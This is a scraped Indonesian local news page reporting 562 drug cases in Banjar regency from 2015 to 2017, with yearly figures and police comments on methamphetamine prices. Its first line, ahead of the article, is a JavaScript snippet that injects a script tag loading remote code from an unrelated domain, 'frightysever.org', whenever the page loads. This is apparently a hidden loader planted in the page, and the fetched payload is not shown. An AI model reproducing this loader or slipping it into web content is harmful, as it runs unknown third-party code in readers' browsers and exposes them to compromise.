(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kurun 3 Tahun, Ada 562 Perkara Narkoba di Kabupaten Banjar


MARTAPURA, Di antara kabupaten/kota di Kalsel, Banjar yang selama ini berjuluk sebagai Kota Serambi Mekkah justru merupakan salah saru daerah dengan angka narkoba yang cukup signifikan! Data yang diperoleh Kanalkalimantan.com, peningkatan peredaran barang haram tersebut dibuktikan berdasarkan rekapitulasi data narkoba jajaran Polres Banjar periode 2015-2017.

Tercatat total ada sebanyak 562 temuan perkara narkoba hingga tiga tahun belakangan. Jika jumlah rata-rata satu bulan 30 hari, dikali 12 bulan dan dikali lagi 3 tahun, dibagi 562 kasus, maka jika dikalkulasikan ada sebanyak 1,9 atau hampir terjadi 2 kali kasus penangkapan penyalahgunaan narkoba per harinya.

Dari sebanyak 562 jumlah temuan perkara tersebut, jika dikelompokan lagi berdasarkan periode, ada peningkatan yang terjadi di setiap tahunnya. Terbukti jika di tahun 2015 ada sebanyak 151 temuan, 2016 ada 196 temuan, dan tahun 2017 meningkat ada sebanyak 215 temuan. Bahkan hingga hampir mencapai pertengahan tahun dibulan Mei 2018 saja, sudah ada sebanyak 74 jumlah kasus narkoba.

Dijelaskan Kasatresnarkoba Polres Banjar, Iptu Achmad Jarkasi, pihaknya tidak mempungkiri terjadi angka peningkatan jumlah temuan perkara narkoba dari tahun ke tahun.  Dan jika dilihat berdasarkan jumlah barang bukti Obat Keras yang paling banyak ditemukan setiap tahunnya. Disusul dengan temuan Sabu dan Ecstasy. “Untuk temuan penyalahunaan narkoba, berdasarkan jumlah barang bukti Obat Keraslah yang masih menjadi temuan yang mendominasi,” ungkapnya.

Lalu apa yang menjadi pemicu maraknya kasus narkoba di Kabupaten Banjar? Jarkasi menjelaskan, banyaknya penemuan jumlah kasus narkoba tersebut disinyalir salah satunya karena faktor ekonomi yang sangat bisa berpotensi untuk meningkatkan kekayaan.

“Coba bayangkan saja satu gram Sabu dipasar gelap itu harganya rata-rata Rp 1.3 juta dan jika di pecah untuk dijual lagi bisa sampai Rp 2 juta, tentunya bisa mecapai 2x lipat lebih harga perbandingan emas 999 yang saat ini hanya mencapai Rp 595 ribu per gramnya,” jelasnya. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

13 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

15 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

15 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

17 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

19 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

20 jam ago

This website uses cookies.